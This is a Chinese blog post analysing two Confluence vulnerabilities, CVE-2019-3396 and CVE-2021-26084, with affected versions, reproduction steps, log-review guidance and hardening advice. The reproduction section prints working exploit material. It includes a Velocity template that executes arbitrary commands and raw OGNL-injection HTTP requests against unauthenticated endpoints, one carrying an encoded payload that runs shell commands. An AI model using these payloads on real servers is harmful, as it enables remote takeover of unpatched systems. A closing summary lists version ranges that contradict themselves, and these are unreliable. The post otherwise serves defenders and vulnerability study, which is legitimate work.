Confluence 漏洞分析排查

目录

一、概述

二、影响版本

1、CVE-2019-3396

2、CVE-2021-26084

三、漏洞复现

CVE-2019-3396

2、CVE-2021-26084

四、应急响应

五、加固建议


一、概述

Confluence Server 和 Data Center 中的 Widget Connector 中存在服Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。使用简单,但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。

1、其6.14.2版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令。

二、影响版本

1、CVE-2019-3396

  • version < 6.6.12
  • 6.7.0 <= version < 6.12.3
  • 6.13.0 <= version < 6.13.3
  • 6.14.0 <= version < 6.14.2

2、CVE-2021-26084

  • version < 6.13.23
  • 6.14.0 ≤ version < 7.4.11
  • 7.5.0 ≤ version < 7.11.5
  • 7.12.0 ≤ version < 7.12.5

三、漏洞复现

CVE-2019-3396

1、网上利用的脚本很多,我这里就贴部分利用脚本

可参考:

Confluence CVE-2019-3396 & CVE-2021-26084漏洞分析 - 先知社区

(1)控制vm模板中的内容造成模板注入

rce.vm 内容如下:
#set ($exp="exp")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
    $scan.next()
#end

这里使用ftp协议,python -m pyftpdlib -p 8888

2、CVE-2021-26084

利用方式可参考:https://www.ddosi.org/cve-2021-26084/

## 漏洞利用

有多个接口可以触发这个OGNL表达式注入漏洞。

### /pages/doenterpagevariables.action

这个接口不需要登录即可利用,发送如下数据包,即可看到`233*233`已被执行:

```
POST /pages/doenterpagevariables.action HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027
```



执行任意命令:

```
queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027
```



### /pages/createpage-entervariables.action

这个路径也不需要用户登录:

```
POST /pages/createpage-entervariables.action HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027
```

### /pages/createpage.action

这个接口需要一个可以创建页面的用户权限:

```
GET /pages/createpage.action?spaceKey=EX&amp;src=quick-create&amp;queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027 HTTP/1.1
Host: 192.168.1.162:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.162:8090/template/custom/content-editor.vm
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=7B35600F54A9E303CE8C277ED960E1E7; seraph.confluence=524289%3A2ac32a308478b9cb9f0e351a12470faa4f2a928a
Connection: close

四、应急响应

1、日志侧排查

(1)找到 Confluence 的日志文件
这部分内容对 Confluence 的默认日志表现进行描述并且假设你没有对 Confluence 的默认日志配置进行修改。为了统一在不同平台中的日志输出,Confluence 使用 atlassian-confluence.log 为主要日志,而不使用应用服务器日志。

  • 当你启动 Confluence 的时候,日志实体将会发送日志直到 Confluence 完全初始化完成。任何在服务器控制台中输出的日志也会同时输出到上面描述的文件中。
  • 当启动完成后,所有的日志将会输出到 /logs/atlassian-confluence.log。例如: c:/confluence/data/logs/atlassian-confluence.log。

请注意,默认的位置位于 Confluence 的 home 目录中(home directory)而不是在应用服务器的日志目录中的。home 目录的路径可以在 /confluence/WEB-INF/classes/confluence-init.properties 中指定。

(2)找到 Confluence 的日志配置文件
有关 Confluence 和 Synchrony 的日志表现定义在下面的属性文件:
/confluence/WEB-INF/classes/log4j.properties

这个文件是标准的 Logj 配置文件,请参考 Apache log4j documentation 页面中的描述。

五、加固建议

1、升级到安全版本

2、如无必要,禁止开放到公网

 

Confluence漏洞是指在Confluence Server或Data Center的特定版本中存在的安全漏洞,攻击者可以通过构造恶意数据执行OGNL表达式进行注入攻击,最终控制服务器。\[1\]受影响的版本包括Confluence Server & Confluence Data Center < 6.13.23、6.13.23 < Confluence Server & Confluence Data Center < 7.11.6、7.11.6 < Confluence Server & Confluence Data Center < 7.12.5、7.12.5 < Confluence Server & Confluence Data Center < 7.4.11。\[1\]具体的漏洞复现和影响范围可以参考Atlassian官方的安全公告链接:https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215。\[3\] #### 引用[.reference_title] - *1* [confluence的几个高危漏洞复现](https://blog.csdn.net/xiayu729100940/article/details/128197797)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [Confluence CVE-2021-26084远程代码执行漏洞复现](https://blog.csdn.net/weixin_39997829/article/details/120179000)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值